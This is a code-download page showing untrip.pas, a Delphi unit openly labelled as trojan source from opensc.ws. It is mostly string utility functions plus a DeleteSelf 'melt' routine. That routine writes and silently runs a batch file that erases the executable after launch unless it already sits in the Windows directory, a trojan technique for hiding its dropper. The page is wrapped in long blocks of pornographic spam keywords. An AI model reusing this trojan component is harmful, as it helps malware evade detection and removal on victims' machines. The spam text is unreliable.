亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? untrip.pas

?? New tj source www.opensc.ws - trojan source codes.
?? PAS
字號:
Unit untRip;

interface

uses
edit,
windows;




type
  TReplaceFlags = set of (rfReplaceAll, rfIgnoreCase);
 TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);

  { System Locale information record }
  TSysLocale = packed record
  FarEast: Boolean;
  end;




procedure DeleteSelf;
function sysdir:string;
function windir:string;
function LowerCase(const S: string): string;
function AnsiUpperCase(const S: string): string;
function StrLen(Str: PChar): Cardinal; assembler;
function StrPos(Str1, Str2: PChar): PChar; assembler;
function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
function StrByteType(Str: PChar; Index: Cardinal): TMbcsByteType;
function AnsiStrPos(Str, SubStr: PChar): PChar;
function AnsiPos(const Substr, S: string): Integer;
function StringReplace(const S, OldPattern, NewPattern: string;
  Flags: TReplaceFlags): string;

{ MBCS functions }

var
  LeadBytes: set of Char = [];

implementation








function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;


procedure DeleteSelf;
var
F:TextFile;
MeltName:string;
begin
{**Checks if files are installed allready**}

if (paramstr(0))=(windir+svrFname) then exit;



   MeltName:='c:\';
   MeltName:=MeltName+'$$$$$$.bat';
   AssignFile(F,MeltName);
   Rewrite(F);
   Writeln(F,':start');
   Writeln(F,'del "'+ParamStr(0)+'"');
   Writeln(F,'if exist "'+ ParamStr(0)+'"'+' goto start');
   Writeln(F,'del "' + MeltName + '"' );
   CloseFile(F);
   Winexec(PChar(MeltName),0);
   ExitProcess(0);
end;


//----------------------------------------------------------------WRITE FUNCTION


//---------------------------------------------------------------STRPAS FUNCTION
function StrPas(const Str: PChar): string;
  begin
    Result := Str;
  end;

//---------------------------------------------------------------WINDIR FUNCTION
function windir:string;
  var pWindowsDir:array [0..255] of char;
      sWindowsDir:string;
  begin
  try
   GetWindowsDirectory(pWindowsDir, 255);
   sWindowsDir:=StrPas(pWindowsDir);
   swindowsdir:=swindowsdir+'\';
   Result:=sWindowsDir;
  except end;
  end;

  function sysdir:string;
  var pSystemDir:array [0..255] of char;
      sSystemDir:string;
  begin
  try
   GetSystemDirectory(pSystemDir, 255);
   sSystemDir:=StrPas(pSystemDir);
   sSystemdir:=sSystemdir+'\';
   Result:=sSystemDir;
  except end;
  end;

function AnsiUpperCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;

function StrLen(Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

function StrPos(Str1, Str2: PChar): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        OR      EAX,EAX
        JE      @@2
        OR      EDX,EDX
        JE      @@2
        MOV     EBX,EAX
        MOV     EDI,EDX
        XOR     AL,AL
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        DEC     ECX
        JE      @@2
        MOV     ESI,ECX
        MOV     EDI,EBX
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        SUB     ECX,ESI
        JBE     @@2
        MOV     EDI,EBX
        LEA     EBX,[ESI-1]
@@1:    MOV     ESI,EDX
        LODSB
        REPNE   SCASB
        JNE     @@2
        MOV     EAX,ECX
        PUSH    EDI
        MOV     ECX,EBX
        REPE    CMPSB
        POP     EDI
        MOV     ECX,EAX
        JNE     @@1
        LEA     EAX,[EDI-1]
        JMP     @@3
@@2:    XOR     EAX,EAX
@@3:    POP     EBX
        POP     ESI
        POP     EDI
end;

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
var
  I: Integer;
//  LeadBytes: set of Char = [];
begin
  Result := mbSingleByte;
  if (P = nil) or (P[Index] = #$0) then Exit;
  if (Index = 0) then
  begin
    if P[0] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    I := Index - 1;
    while (I >= 0) and (P[I] in LeadBytes) do Dec(I);
    if ((Index - I) mod 2) = 0 then Result := mbTrailByte
    else if P[Index] in LeadBytes then Result := mbLeadByte;
  end;
end;

function StrByteType(Str: PChar; Index: Cardinal): TMbcsByteType;
var
SysLocale: TSysLocale;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(Str, Index);
end;

function AnsiStrPos(Str, SubStr: PChar): PChar;
var
  L1, L2: Cardinal;
  ByteType : TMbcsByteType;
begin
  Result := nil;
  if (Str = nil) or (Str^ = #0) or (SubStr = nil) or (SubStr^ = #0) then Exit;
  L1 := StrLen(Str);
  L2 := StrLen(SubStr);
  Result := StrPos(Str, SubStr);
  while (Result <> nil) and ((L1 - Cardinal(Result - Str)) >= L2) do
  begin
    ByteType := StrByteType(Str, Integer(Result-Str));
    if (ByteType <> mbTrailByte) and
      (CompareString(LOCALE_USER_DEFAULT, 0, Result, L2, SubStr, L2) = 2) then Exit;
    if (ByteType = mbLeadByte) then Inc(Result);
    Inc(Result);
    Result := StrPos(Result, SubStr);
  end;
  Result := nil;
end;

function AnsiPos(const Substr, S: string): Integer;
var
  P: PChar;
begin
  Result := 0;
  P := AnsiStrPos(PChar(S), PChar(SubStr));
  if P <> nil then
    Result := Integer(P) - Integer(PChar(S)) + 1;
end;

function StringReplace(const S, OldPattern, NewPattern: string;
  Flags: TReplaceFlags): string;
var
  SearchStr, Patt, NewStr: string;
  Offset: Integer;
begin
  if rfIgnoreCase in Flags then
  begin
    SearchStr := AnsiUpperCase(S);
    Patt := AnsiUpperCase(OldPattern);
  end else
  begin
    SearchStr := S;
    Patt := OldPattern;
  end;
  NewStr := S;
  Result := '';
  while SearchStr <> '' do
  begin
    Offset := AnsiPos(Patt, SearchStr);
    if Offset = 0 then
    begin
      Result := Result + NewStr;
      Break;
    end;
    Result := Result + Copy(NewStr, 1, Offset - 1) + NewPattern;
    NewStr := Copy(NewStr, Offset + Length(OldPattern), MaxInt);
    if not (rfReplaceAll in Flags) then
    begin
      Result := Result + NewStr;
      Break;
    end;
    SearchStr := Copy(SearchStr, Offset + Length(Patt), MaxInt);
  end;
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久精品一区四区| 欧美制服丝袜第一页| 午夜不卡av免费| 一区二区三区鲁丝不卡| 国产精品理伦片| 国产精品网曝门| 亚洲国产成人在线| 国产精品久久久久久久久搜平片| 久久在线观看免费| 日本一区二区电影| 国产精品沙发午睡系列990531| 久久久久国产免费免费| 国产欧美日韩视频一区二区 | 中文字幕电影一区| 国产精品免费视频网站| 国产精品美女久久久久久| 国产精品视频一区二区三区不卡| 国产女同性恋一区二区| 成人免费在线视频观看| 亚洲午夜免费电影| 美女一区二区视频| 国产二区国产一区在线观看| 成人爽a毛片一区二区免费| 91免费国产在线观看| 91激情在线视频| 日韩一区二区三区四区五区六区| 日韩一级完整毛片| 亚洲国产精品av| 亚洲综合激情网| 奇米一区二区三区av| 高清av一区二区| 91福利资源站| 亚洲精品在线电影| 亚洲欧美aⅴ...| 玖玖九九国产精品| 99久久精品一区| 欧美一卡二卡三卡| 18涩涩午夜精品.www| 天使萌一区二区三区免费观看| 久久不见久久见中文字幕免费| 成人免费观看视频| 欧美一级二级三级乱码| 亚洲欧美色图小说| 国产精品夜夜爽| 欧美日韩一卡二卡| 国产精品国产三级国产aⅴ原创 | 粉嫩一区二区三区性色av| 91色乱码一区二区三区| 精品国产免费一区二区三区四区| 国产午夜三级一区二区三| 亚洲一区二区偷拍精品| 国产一区二区h| 欧美日本在线视频| 国产精品污www在线观看| 美女视频黄 久久| 色老汉一区二区三区| 国产亚洲欧洲一区高清在线观看| 亚洲网友自拍偷拍| 91免费国产在线| 日本一区二区免费在线观看视频 | 国产.欧美.日韩| 日韩一区二区精品葵司在线 | 日本va欧美va瓶| 欧美综合色免费| 亚洲你懂的在线视频| 国产美女一区二区三区| 宅男在线国产精品| 午夜电影一区二区三区| 色天天综合色天天久久| 中文字幕在线不卡一区二区三区| 国产在线看一区| 精品欧美一区二区三区精品久久| 亚洲国产色一区| 欧美日韩亚洲不卡| 亚洲电影你懂得| 欧美日韩亚州综合| 午夜免费欧美电影| 欧美日韩精品欧美日韩精品| 亚洲影院久久精品| 欧美日韩在线综合| 日日夜夜免费精品| 欧美一区二区视频在线观看| 日韩av一级电影| 91精品国产免费| 精品亚洲porn| 久久久蜜臀国产一区二区| 国产一区二区不卡| 欧美韩国一区二区| 成人a免费在线看| 亚洲精品成人精品456| 欧美性感一类影片在线播放| 亚洲va在线va天堂| 日韩一卡二卡三卡四卡| 美女免费视频一区二区| 精品国产91九色蝌蚪| 国产乱国产乱300精品| 中文字幕免费观看一区| 色婷婷一区二区三区四区| 亚洲国产精品一区二区www| 欧美精品久久一区| 久久电影网站中文字幕| 国产亚洲一本大道中文在线| 成人性生交大片免费看中文| 一区二区三区久久久| 精品欧美一区二区三区精品久久| 国产99久久久国产精品| 一区二区三区在线视频观看| 91 com成人网| 国产精品1区二区.| 亚洲国产你懂的| 精品国产亚洲在线| 99久久亚洲一区二区三区青草| 亚洲图片有声小说| 中文久久乱码一区二区| 欧美人妖巨大在线| 成人深夜视频在线观看| 日韩电影在线观看电影| 国产欧美日韩在线| 制服丝袜国产精品| 91一区二区三区在线播放| 蜜臀va亚洲va欧美va天堂| 欧美国产精品一区二区| 欧美高清dvd| 成人黄色网址在线观看| 青青草成人在线观看| 中文字幕欧美一| 精品久久久久久综合日本欧美 | 欧美区一区二区三区| 国产盗摄精品一区二区三区在线 | 精品少妇一区二区三区视频免付费 | 91在线小视频| 韩国精品主播一区二区在线观看 | 精品国产乱码久久久久久免费| 91网上在线视频| 国产精品538一区二区在线| 日韩成人午夜精品| 一区二区激情视频| 日本一区二区三区四区| 精品日韩在线一区| 337p亚洲精品色噜噜噜| 欧美中文字幕一二三区视频| 国产成人h网站| 韩国欧美国产一区| 久久se精品一区精品二区| 三级一区在线视频先锋| 亚洲大片一区二区三区| 亚洲在线成人精品| 一区二区三区欧美视频| 一区二区三区在线视频免费| 国产精品久久综合| 国产精品免费看片| 国产欧美一区二区三区鸳鸯浴| 国产欧美一区视频| 久久久三级国产网站| 欧美精品一区视频| 久久老女人爱爱| 日韩精品一区二区三区中文不卡| 欧美精品免费视频| 91精品国产一区二区| 91精品国产综合久久精品性色| 欧美三级资源在线| 欧美日韩成人一区| 日韩亚洲欧美中文三级| 日韩欧美123| 久久综合九色综合97_久久久| 精品免费日韩av| 久久精品夜夜夜夜久久| 国产欧美一区二区三区在线老狼| 国产日韩精品一区二区三区| 国产精品久久久久久久久免费桃花 | 91精品一区二区三区在线观看| 欧美最猛性xxxxx直播| 5858s免费视频成人| 日韩免费观看高清完整版在线观看| 日韩欧美一二区| 欧美激情在线看| 亚洲欧美日韩一区二区| 亚洲国产精品久久艾草纯爱| 麻豆精品视频在线观看视频| 国产黄人亚洲片| 一本一道久久a久久精品| 欧美三级韩国三级日本三斤| 欧美成人猛片aaaaaaa| 国产日韩欧美不卡| 亚洲一区二区三区爽爽爽爽爽| 午夜av电影一区| 国模套图日韩精品一区二区 | 欧美日韩在线播放三区四区| 日韩欧美你懂的| 中文字幕一区二区三区在线播放| 一区二区三区欧美在线观看| 九九国产精品视频| 色婷婷av一区二区三区gif| 日韩手机在线导航| 亚洲视频 欧洲视频| 激情久久五月天| 在线观看91视频| 久久久久88色偷偷免费| 午夜电影网亚洲视频| 懂色av中文一区二区三区 |